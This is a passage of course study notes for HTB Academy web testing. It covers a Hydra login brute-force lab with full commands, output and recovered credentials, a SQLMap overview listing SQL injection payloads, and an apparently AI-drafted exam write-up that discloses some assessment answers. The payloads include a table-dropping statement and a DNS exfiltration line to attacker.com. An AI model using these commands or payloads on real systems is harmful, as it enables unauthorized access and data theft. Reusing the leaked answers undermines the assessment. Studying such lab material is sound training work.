POST request. Each pair represents a field in the login form, with its corresponding value. * `Form Parameters`: These are the essential fields that hold the username and password. Hydra will dynamically replace placeholders (`^USER^` and `^PASS^`) within these parameters with values from your wordlists. * `Additional Fields`: If the form includes other hidden fields or tokens (e.g., CSRF tokens), they must also be included in the `params` string. These can have static values or dynamic placeholders if their values change with each request. * `Success Condition`: This defines the criteria Hydra will use to identify a successful login. It can be an HTTP status code (like `S=302` for a redirect) or the presence or absence of specific text in the server's response (e.g., `F=Invalid credentials` or `S=Welcome`). Let's apply this to our scenario. We've discovered: * The form submits data to the root path (`/`). * The username field is named `username`. * The password field is named `password`. * An error message "Invalid credentials" is displayed upon failed login. Therefore, our `params` string would be: Code: bash * `"/"`: The path where the form is submitted. * `username=^USER^&password=^PASS^`: The form parameters with placeholders for Hydra. * `F=Invalid credentials`: The failure condition – Hydra will consider a login attempt unsuccessful if it sees this string in the response. We will be using [top-usernames-shortlist.txt](https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt) for the username list, and [2023-200\_most\_used\_passwords.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/2023-200_most_used_passwords.txt) for the password list. This `params` string is incorporated into the Hydra command as follows. Hydra will systematically substitute `^USER^` and `^PASS^` with values from your wordlists, sending POST requests to the target and analyzing the responses for the specified failure condition. If a login attempt doesn't trigger the "Invalid credentials" message, Hydra will flag it as a potential success, revealing the valid credentials. Login Forms Remember that crafting the correct `params` string is crucial for a successful Hydra attack. Accurate information about the form's structure and behavior is essential for constructing this string effectively. Once Hydra has completed the attack, log into the website using the found credentials, and retrieve the flag. LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#lab) ------------------------------------------------------------------------------------------ ### Key Command[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#key-command) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FBXjJAFKLMwwPMopPf8C6%252Fimage.png%3Falt%3Dmedia%26token%3Da580bc2c-2622-4991-ac78-7d3ed0ed7370&width=768&dpr=3&quality=100&sign=896f856f&sv=2) #### HTB{W3b\_L0gin\_Brut3F0rc3}[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#htb-w3b_l0gin_brut3f0rc3) [PreviousBasic HTTP Authentication](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication) [NextMedusa](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa) Last updated 1 year ago * [Understanding Login Forms](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#understanding-login-forms) * [A Basic Login Form Example](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#a-basic-login-form-example) * [http-post-form](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#http-post-form) * [Constructing the params String for Hydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#constructing-the-params-string-for-hydra) * [LAB](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#lab) * [Key Command](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#key-command) Copy hack3rSWE@htb[/htb]$ hydra [options] target http-post-form "path:params:condition_string" Copy hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials" Copy hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302" Copy hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard" Copy <form method="POST"> <h2>Login</h2> <label for="username">Username:</label> <input type="text" id="username" name="username"> <label for="password">Password:</label> <input type="password" id="password" name="password"> <input type="submit" value="Login"> </form> Copy /:username=^USER^&password=^PASS^:F=Invalid credentials Copy # Download wordlists if needed hack3rSWE@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt hack3rSWE@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt # Hydra command hack3rSWE@htb[/htb]$ hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-05 12:51:14 [DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries (l:17/p:200), ~213 tries per task [DATA] attacking http-post-form://IP:PORT/:username=^USER^&password=^PASS^:F=Invalid credentials [5000][http-post-form] host: IP login: ... password: ... [STATUS] attack finished for IP (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-05 12:51:28 Copy // Command line captures ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-ovwchqnoip]─[~] └──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-ovwchqnoip]─[~] └──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt └──╼ [★]$ hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 94.237.60.154 -s 33392 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-11 18:14:08 [DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries (l:17/p:200), ~213 tries per task [DATA] attacking http-post-form://94.237.60.154:33392/:username=^USER^&password=^PASS^:F=Invalid credentials [33392][http-post-form] host: 94.237.60.154 login: admin password: zxcvbnm [STATUS] attack finished for 94.237.60.154 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-11 18:14:26 Copy hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 94.237.60.154 -s 33392 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" --- # SQLMap Overview | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview.md) . SQLMap Overview[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#sqlmap-overview) ------------------------------------------------------------------------------------------------------------- * * * [SQLMap](https://github.com/sqlmapproject/sqlmap) is a free and open-source penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) flaws. SQLMap has been continuously developed since 2006 and is still maintained today. SQLMap Overview Copy Code4Christ@htb[/htb]$ python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5' ___ __H__ ___ ___[']_____ ___ ___ {1.3.10.41#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:55:56 [12:55:56] [INFO] testing connection to the target URL [12:55:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [12:55:58] [INFO] testing if the target URL content is stable [12:55:58] [INFO] target URL content is stable [12:55:58] [INFO] testing if GET parameter 'id' is dynamic [12:55:58] [INFO] confirming that GET parameter 'id' is dynamic [12:55:59] [INFO] GET parameter 'id' is dynamic [12:55:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [12:56:00] [INFO] testing for SQL injection on GET parameter 'id' <...SNIP...> SQLMap comes with a powerful detection engine, numerous features, and a broad range of options and switches for fine-tuning the many aspects of it, such as: Target connection Injection detection Fingerprinting Enumeration Optimization Protection detection and bypass using "tamper" scripts Database content retrieval File system access Execution of the operating system (OS) commands * * * ### SQLMap Installation[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#sqlmap-installation) SQLMap is pre-installed on your Pwnbox, and the majority of security-focused operating systems. SQLMap is also found on many Linux Distributions' libraries. For example, on Debian, it can be installed with: SQLMap Overview If we want to install manually, we can use the following command in the Linux terminal or the Windows command line: SQLMap Overview After that, SQLMap can be run with: SQLMap Overview * * * ### Supported Databases[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#supported-databases) SQLMap has the largest support for DBMSes of any other SQL exploitation tool. SQLMap fully supports the following DBMSes: `MySQL` `Oracle` `PostgreSQL` `Microsoft SQL Server` `SQLite` `IBM DB2` `Microsoft Access` `Firebird` `Sybase` `SAP MaxDB` `Informix` `MariaDB` `HSQLDB` `CockroachDB` `TiDB` `MemSQL` `H2` `MonetDB` `Apache Derby` `Amazon Redshift` `Vertica`, `Mckoi` `Presto` `Altibase` `MimerSQL` `CrateDB` `Greenplum` `Drizzle` `Apache Ignite` `Cubrid` `InterSystems Cache` `IRIS` `eXtremeDB` `FrontBase` The SQLMap team also works to add and support new DBMSes periodically. * * * ### Supported SQL Injection Types[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#supported-sql-injection-types) SQLMap is the only penetration testing tool that can properly detect and exploit all known SQLi types. We see the types of SQL injections supported by SQLMap with the `sqlmap -hh` command: SQLMap Overview The technique characters `BEUSTQ` refers to the following: * `B`: Boolean-based blind * `E`: Error-based * `U`: Union query-based * `S`: Stacked queries * `T`: Time-based blind * `Q`: Inline queries * * * ### Boolean-based blind SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#boolean-based-blind-sql-injection) Example of `Boolean-based blind SQL Injection`: Code: sql SQLMap exploits `Boolean-based blind SQL Injection` vulnerabilities through the differentiation of `TRUE` from `FALSE` query results, effectively retrieving 1 byte of information per request. The differentiation is based on comparing server responses to determine whether the SQL query returned `TRUE` or `FALSE`. This ranges from fuzzy comparisons of raw response content, HTTP codes, page titles, filtered text, and other factors. * `TRUE` results are generally based on responses having none or marginal difference to the regular server response. * `FALSE` results are based on responses having substantial differences from the regular server response. * `Boolean-based blind SQL Injection` is considered as the most common SQLi type in web applications. * * * ### Error-based SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#error-based-sql-injection) Example of `Error-based SQL Injection`: Code: sql If the `database management system` (`DBMS`) errors are being returned as part of the server response for any database-related problems, then there is a probability that they can be used to carry the results for requested queries. In such cases, specialized payloads for the current DBMS are used, targeting the functions that cause known misbehaviors. SQLMap has the most comprehensive list of such related payloads and covers `Error-based SQL Injection` for the following DBMSes: MySQL PostgreSQL Oracle Microsoft SQL Server Sybase Vertica IBM DB2 Firebird MonetDB Error-based SQLi is considered as faster than all other types, except UNION query-based, because it can retrieve a limited amount (e.g., 200 bytes) of data called "chunks" through each request. * * * ### UNION query-based[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#union-query-based) Example of `UNION query-based SQL Injection`: Code: sql With the usage of `UNION`, it is generally possible to extend the original (`vulnerable`) query with the injected statements' results. This way, if the original query results are rendered as part of the response, the attacker can get additional results from the injected statements within the page response itself. This type of SQL injection is considered the fastest, as, in the ideal scenario, the attacker would be able to pull the content of the whole database table of interest with a single request. * * * ### Stacked queries[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#stacked-queries) Example of `Stacked Queries`: Code: sql Stacking SQL queries, also known as the "piggy-backing," is the form of injecting additional SQL statements after the vulnerable one. In case that there is a requirement for running non-query statements (e.g. `INSERT`, `UPDATE` or `DELETE`), stacking must be supported by the vulnerable platform (e.g., `Microsoft SQL Server` and `PostgreSQL` support it by default). SQLMap can use such vulnerabilities to run non-query statements executed in advanced features (e.g., execution of OS commands) and data retrieval similarly to time-based blind SQLi types. * * * ### Time-based blind SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#time-based-blind-sql-injection) Example of `Time-based blind SQL Injection`: Code: sql The principle of `Time-based blind SQL Injection` is similar to the `Boolean-based blind SQL Injection`, but here the response time is used as the source for the differentiation between `TRUE` or `FALSE`. * `TRUE` response is generally characterized by the noticeable difference in the response time compared to the regular server response * `FALSE` response should result in a response time indistinguishable from regular response times `Time-based blind SQL Injection` is considerably slower than the boolean-based blind SQLi, since queries resulting in `TRUE` would delay the server response. This SQLi type is used in cases where `Boolean-based blind SQL Injection` is not applicable. For example, in case the vulnerable SQL statement is a non-query (e.g. `INSERT`, `UPDATE` or `DELETE`), executed as part of the auxiliary functionality without any effect to the page rendering process, time-based SQLi is used out of the necessity, as `Boolean-based blind SQL Injection` would not really work in this case. * * * ### Inline queries[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#inline-queries) Example of `Inline Queries`: Code: sql This type of injection embedded a query within the original query. Such SQL injection is uncommon, as it needs the vulnerable web app to be written in a certain way. Still, SQLMap supports this kind of SQLi as well. * * * ### Out-of-band SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#out-of-band-sql-injection) Example of `Out-of-band SQL Injection`: Code: sql This is considered one of the most advanced types of SQLi, used in cases where all other types are either unsupported by the vulnerable web application or are too slow (e.g., time-based blind SQLi). SQLMap supports out-of-band SQLi through "DNS exfiltration," where requested queries are retrieved through DNS traffic. By running the SQLMap on the DNS server for the domain under control (e.g. `.attacker.com`), SQLMap can perform the attack by forcing the server to request non-existent subdomains (e.g. `foo.attacker.com`), where `foo` would be the SQL response we want to receive. SQLMap can then collect these erroring DNS requests and collect the `foo` part, to form the entire SQL response. What's the fastest SQLi type? UNION query-based [PreviousCVSS Scoring](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring) [NextGetting Started with SQLMap](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap) Last updated 9 months ago * [SQLMap Overview](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#sqlmap-overview) * [SQLMap Installation](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#sqlmap-installation) * [Supported Databases](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#supported-databases) * [Supported SQL Injection Types](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#supported-sql-injection-types) * [Boolean-based blind SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#boolean-based-blind-sql-injection) * [Error-based SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#error-based-sql-injection) * [UNION query-based](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#union-query-based) * [Stacked queries](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#stacked-queries) * [Time-based blind SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#time-based-blind-sql-injection) * [Inline queries](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#inline-queries) * [Out-of-band SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview#out-of-band-sql-injection) Copy Code4Christ@htb[/htb]$ sudo apt install sqlmap Copy Code4Christ@htb[/htb]$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Copy Code4Christ@htb[/htb]$ python sqlmap.py Copy Code4Christ@htb[/htb]$ sqlmap -hh ...SNIP... Techniques: --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") Copy AND 1=1 Copy AND GTID_SUBSET(@@version,0) Copy UNION ALL SELECT 1,@@version,3 Copy ; DROP TABLE users Copy AND 1=IF(2>1,SLEEP(5),0) Copy SELECT (SELECT @@version) from Copy LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt')) --- # Exam Write up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up.md) . Got you — I’ll produce a **full combined exam‑style write‑up** for **Skills Assessment Part 1 + Part 2**, following the _exact style and structure_ of the three sample reports you gave me earlier: * Clear **Title** * **Objective / Description** * **Tools Used** * **Technical Walkthrough** * **Root Cause / Vulnerability Classification** * **Impact** * **Remediation** * **Evidence (Screenshots/log excerpts as code blocks)** I will also write it as if you are submitting it as a **professional CWES exam report**, with clean language, structured analysis, and proper CWE/CVE references where appropriate (e.g., CWE‑307, CWE‑521, CWE‑778). * * * ✅ **Combined Skills Assessment Report (Part 1 & Part 2)**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#combined-skills-assessment-report-part-1-and-part-2) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- _HTB Academy – CWES: Skills Assessment Report_ _Candidate:_ * * * **1\. Executive Summary**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-1.-executive-summary) -------------------------------------------------------------------------------------------------------------------------------- During the Skills Assessment, two separate authentication vectors were evaluated for security weaknesses: 1. HTTP Basic Authentication on a public-facing web server 2. SSH and FTP password authentication on an internal Linux host Both services were found to be using **weak, commonly-used credentials**, making them trivially brute‑forceable using standard tooling (Hydra, Medusa). Successful authentication allowed retrieval of sensitive information, including system user details and a protected flag. These weaknesses align with common industry vulnerabilities such as **CWE‑521: Weak Password Requirements**, **CWE‑307: Improper Restriction of Excessive Authentication Attempts**, and **CWE‑778: Insufficient Logging & Monitoring**. * * * **2\. Scope & Objectives**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-2.-scope-and-objectives) ------------------------------------------------------------------------------------------------------------------------------------ The assessment involved: * Enumerating authentication mechanisms * Identifying exposed services * Performing controlled brute‑force authentication * Enumerating sensitive files available post-authentication * Extracting the required exam flags All actions were performed within the isolated HTB Academy environment as authorized. * * * **3\. Tools Used**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-3.-tools-used) ------------------------------------------------------------------------------------------------------------------ Tool Purpose `curl` Enumerate HTTP headers, test authentication `hydra` Brute-force HTTP Basic Auth & SSH `medusa` Brute-force FTP `nmap` Local service enumeration `username-anarchy` Username permutation generation `wget` Retrieving SecLists wordlists * * * **4\. Technical Walkthrough**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.-technical-walkthrough) ---------------------------------------------------------------------------------------------------------------------------------------- * * * **Part 1 – Basic Authentication Enumeration & Bypass**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-1-basic-authentication-enumeration-and-bypass) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### **4.1 Identifying Basic Authentication**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.1-identifying-basic-authentication) A simple HTTP header inspection revealed that the root endpoint required **Basic Auth**, visible in the `WWW-Authenticate` header. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence) This confirms the use of Base64-encoded static credentials — a common weak mechanism when not paired with account lockout. * * * ### **4.2 Credential Brute-Force**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.2-credential-brute-force) With Hydra, the top-usernames-shortlist and 2023 common password list were used to brute-force the Basic Auth login. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-1) #### ✔ **Result**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#result) **Password for Basic Auth:** `{hidden}` * * * ### **4.3 Retrieving Username for Part 2**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.3-retrieving-username-for-part-2) Once authenticated, the server revealed a hidden `<span>` containing the username required for Part 2. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-2) HTML response excerpt: #### ✔ **Result**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#result-1) **Username for Part 2:** `{hidden}` * * * **Part 2 – SSH & FTP Compromise**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-2-ssh-and-ftp-compromise) ---------------------------------------------------------------------------------------------------------------------------------------------- ### **4.4 SSH Brute-Force Authentication**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.4-ssh-brute-force-authentication) The username `satwossh` was tested against the 2023 common password list. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-3) #### ✔ **Result**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#result-2) **SSH Credentials:** `satwossh : password1` * * * ### **4.5 Post-Compromise Enumeration**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.5-post-compromise-enumeration) Upon logging in through SSH, a security report identified suspicious FTP activity involving **Thomas Smith**, suggesting that his account was the next attack surface. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-4) * * * ### **4.6 Local Service Discovery**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.6-local-service-discovery) An internal `nmap` scan validated that the system exposed an FTP service accessible only locally. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-5) * * * ### **4.7 Username Generation**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.7-username-generation) To brute-force Thomas Smith’s FTP account, a username list was generated with username-anarchy. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-6) * * * ### **4.8 Brute-Force FTP Credentials**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.8-brute-force-ftp-credentials) Using Medusa, the username permutations were tested against the local FTP service. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-7) #### ✔ **Result**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#result-3) **FTP Username:** `{hidden}` **FTP Password:** `chocolate!` * * * ### **4.9 Retrieving the Flag**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.9-retrieving-the-flag) After logging in to FTP, the protected `flag.txt` file was downloaded and read. #### Evidence[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#evidence-8) #### ✔ **Result**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#result-4) **Flag:** `{hidden}` * * * **5\. Vulnerability Mapping**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-5.-vulnerability-mapping) ---------------------------------------------------------------------------------------------------------------------------------------- Issue CWE Weak/default passwords **CWE-521** No brute-force protection **CWE-307** Basic Auth used without rate limiting **CWE-294** Lack of authentication monitoring **CWE-778** Lack of MFA for sensitive services **CWE-287** * * * **6\. Impact Analysis**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-6.-impact-analysis) ---------------------------------------------------------------------------------------------------------------------------- * Unauthorized administrative access to web services * Unauthorized SSH access providing shell-level control * Unauthorized FTP access enabling data exfiltration * Exposure of sensitive credentials and flag data * Pivot potential if deployed in a real multi-host environment In a real-world scenario, these vulnerabilities would allow complete system takeover. Severity: **High / Critical** * * * **7\. Remediation Recommendations**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-7.-remediation-recommendations) ---------------------------------------------------------------------------------------------------------------------------------------------------- #### **Password Security**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#password-security) * Enforce strong password policies (CWE-521) * Implement account lockout or throttling after failed attempts (CWE-307) #### **Access Controls**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#access-controls) * Disable Basic Auth or replace with OAuth/JWT * Restrict SSH login attempts using fail2ban #### **Monitoring**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#monitoring) * Enable centralized authentication logs (CWE-778) * Monitor unusual FTP and SSH activity #### **Hardening**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#hardening) * Disable local service exposure unless required * Enforce MFA for admin interfaces and SSH (CWE-287) * * * **8\. Final Answers (Exam Response Format)**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-8.-final-answers-exam-response-format) -------------------------------------------------------------------------------------------------------------------------------------------------------------------- #### **Part 1 – Question 1:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-1-question-1) **Password for Basic Auth:** `{hidden}` #### **Part 1 – Question 2:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-1-question-2) **Username for Part 2:** `{hidden}` * * * #### **Part 2 – Question 1:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-2-question-1) **FTP Username:** `{hidden}` #### **Part 2 – Question 2:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-2-question-2) **Flag:** `{hidden}` * * * [PreviousRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up) [NextCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet) Last updated 8 months ago * [✅ Combined Skills Assessment Report (Part 1 & Part 2)](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#combined-skills-assessment-report-part-1-and-part-2) * [1\. Executive Summary](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-1.-executive-summary) * [2\. Scope & Objectives](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-2.-scope-and-objectives) * [3\. Tools Used](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-3.-tools-used) * [4\. Technical Walkthrough](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.-technical-walkthrough) * [Part 1 – Basic Authentication Enumeration & Bypass](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-1-basic-authentication-enumeration-and-bypass) * [4.1 Identifying Basic Authentication](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.1-identifying-basic-authentication) * [4.2 Credential Brute-Force](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.2-credential-brute-force) * [4.3 Retrieving Username for Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.3-retrieving-username-for-part-2) * [Part 2 – SSH & FTP Compromise](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#part-2-ssh-and-ftp-compromise) * [4.4 SSH Brute-Force Authentication](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.4-ssh-brute-force-authentication) * [4.5 Post-Compromise Enumeration](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.5-post-compromise-enumeration) * [4.6 Local Service Discovery](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.6-local-service-discovery) * [4.7 Username Generation](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.7-username-generation) * [4.8 Brute-Force FTP Credentials](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.8-brute-force-ftp-credentials) * [4.9 Retrieving the Flag](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-4.9-retrieving-the-flag) * [5\. Vulnerability Mapping](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-5.-vulnerability-mapping) * [6\. Impact Analysis](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-6.-impact-analysis) * [7\. Remediation 